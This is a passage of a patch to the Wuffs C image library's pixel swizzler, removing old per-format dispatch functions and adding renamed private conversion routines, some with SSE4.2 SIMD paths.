WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__bgrw__rgbx; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__rgb(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__rgb; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__swap_rgb_bgr; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__bgrw__rgb; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__rgb; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__copy_3_3; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ s0))); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__bgrw__bgr; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} +- +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__rgba_nonpremul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_nonpremul__src_over; +- } +- return NULL; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_private_impl__swap_u64_argb_abgr( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_premul_nonpremul_u64_axxx(d0, s0))); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- // TODO. +- break; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_premul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; ++ ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__rgba_premul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__rgba_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src_over; +- } +- return NULL; ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; ++ ++ return len; + } + + // -------- + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_swizzler__prepare(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__pixel_format src_pixfmt, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- if (!p) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- p->private_impl.func = NULL; +- p->private_impl.transparent_black_func = NULL; +- p->private_impl.dst_pixfmt_bytes_per_pixel = 0; +- p->private_impl.src_pixfmt_bytes_per_pixel = 0; ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- wuffs_base__pixel_swizzler__func func = NULL; +- wuffs_base__pixel_swizzler__transparent_black_func transparent_black_func = +- NULL; ++ // TODO: unroll. + +- uint32_t dst_pixfmt_bits_per_pixel = +- wuffs_base__pixel_format__bits_per_pixel(&dst_pixfmt); +- if ((dst_pixfmt_bits_per_pixel == 0) || +- ((dst_pixfmt_bits_per_pixel & 7) != 0)) { +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); +- } ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ 0xFF000000 | wuffs_base__peek_u24le__no_bounds_check(s + (0 * 3))); + +- uint32_t src_pixfmt_bits_per_pixel = +- wuffs_base__pixel_format__bits_per_pixel(&src_pixfmt); +- if ((src_pixfmt_bits_per_pixel == 0) || +- ((src_pixfmt_bits_per_pixel & 7) != 0)) { +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; + } + +- // TODO: support many more formats. +- +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- transparent_black_func = +- wuffs_base__pixel_swizzler__transparent_black_src; +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- transparent_black_func = +- wuffs_base__pixel_swizzler__transparent_black_src_over; +- break; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- switch (src_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- func = wuffs_base__pixel_swizzler__prepare__y(p, dst_pixfmt, dst_palette, +- src_palette, blend); +- break; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- func = wuffs_base__pixel_swizzler__prepare__y_16be( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2)))); + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- func = wuffs_base__pixel_swizzler__prepare__indexed__bgra_nonpremul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- func = wuffs_base__pixel_swizzler__prepare__indexed__bgra_binary( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- func = wuffs_base__pixel_swizzler__prepare__bgr_565( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- func = wuffs_base__pixel_swizzler__prepare__bgr( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- func = wuffs_base__pixel_swizzler__prepare__bgra_nonpremul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- func = wuffs_base__pixel_swizzler__prepare__bgra_nonpremul_4x16le( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- func = wuffs_base__pixel_swizzler__prepare__bgra_premul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- func = wuffs_base__pixel_swizzler__prepare__bgrx( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- func = wuffs_base__pixel_swizzler__prepare__rgb( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ __m128i shuffle = _mm_set_epi8(+0x00, +0x0B, +0x0A, +0x09, // ++ +0x00, +0x08, +0x07, +0x06, // ++ +0x00, +0x05, +0x04, +0x03, // ++ +0x00, +0x02, +0x01, +0x00); ++ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- func = wuffs_base__pixel_swizzler__prepare__rgba_nonpremul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ while (n >= 6) { ++ __m128i x; ++ x = _mm_lddqu_si128((const __m128i*)(const void*)s); ++ x = _mm_shuffle_epi8(x, shuffle); ++ x = _mm_or_si128(x, or_ff); ++ _mm_storeu_si128((__m128i*)(void*)d, x); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- func = wuffs_base__pixel_swizzler__prepare__rgba_premul( +- p, dst_pixfmt, dst_palette, src_palette, blend); +- break; ++ s += 4 * 3; ++ d += 4 * 4; ++ n -= 4; + } + +- p->private_impl.func = func; +- p->private_impl.transparent_black_func = transparent_black_func; +- p->private_impl.dst_pixfmt_bytes_per_pixel = dst_pixfmt_bits_per_pixel / 8; +- p->private_impl.src_pixfmt_bytes_per_pixel = src_pixfmt_bits_per_pixel / 8; +- return wuffs_base__make_status( +- func ? NULL : wuffs_base__error__unsupported_pixel_swizzler_option); +-} ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b0; ++ d[1] = b1; ++ d[2] = b2; ++ d[3] = 0xFF; + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- uint32_t up_to_num_pixels, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r) { +- if (p && p->private_impl.func) { +- const uint8_t* iop_r = *ptr_iop_r; +- uint64_t src_len = wuffs_base__u64__min( +- ((uint64_t)up_to_num_pixels) * +- ((uint64_t)p->private_impl.src_pixfmt_bytes_per_pixel), +- ((uint64_t)(io2_r - iop_r))); +- uint64_t n = +- (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, +- dst_palette.len, iop_r, (size_t)src_len); +- *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; +- return n; ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; + } +- return 0; +-} + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r) { +- if (p && p->private_impl.func) { +- const uint8_t* iop_r = *ptr_iop_r; +- uint64_t src_len = ((uint64_t)(io2_r - iop_r)); +- uint64_t n = +- (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, +- dst_palette.len, iop_r, (size_t)src_len); +- *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; +- return n; +- } +- return 0; ++ return len; + } + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src) { +- if (p && p->private_impl.func) { +- return (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, +- dst_palette.len, src.ptr, src.len); +- } +- return 0; +-} ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- uint64_t num_pixels) { +- if (p && p->private_impl.transparent_black_func) { +- return (*p->private_impl.transparent_black_func)( +- dst.ptr, dst.len, dst_palette.ptr, dst_palette.len, num_pixels, +- p->private_impl.dst_pixfmt_bytes_per_pixel); ++ __m128i shuffle = _mm_set_epi8(+0x00, +0x09, +0x0A, +0x0B, // ++ +0x00, +0x06, +0x07, +0x08, // ++ +0x00, +0x03, +0x04, +0x05, // ++ +0x00, +0x00, +0x01, +0x02); ++ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00); ++ ++ while (n >= 6) { ++ __m128i x; ++ x = _mm_lddqu_si128((const __m128i*)(const void*)s); ++ x = _mm_shuffle_epi8(x, shuffle); ++ x = _mm_or_si128(x, or_ff); ++ _mm_storeu_si128((__m128i*)(void*)d, x); ++ ++ s += 4 * 3; ++ d += 4 * 4; ++ n -= 4; + } +- return 0; +-} + +-// -------- ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; ++ d[3] = 0xFF; + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2); ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; ++ } + +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2); ++ return len; ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#if defined(__GNUC__) && !defined(__clang__) +-// No-op. +-#else +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column); +-#endif +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgb(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-// -------- ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; 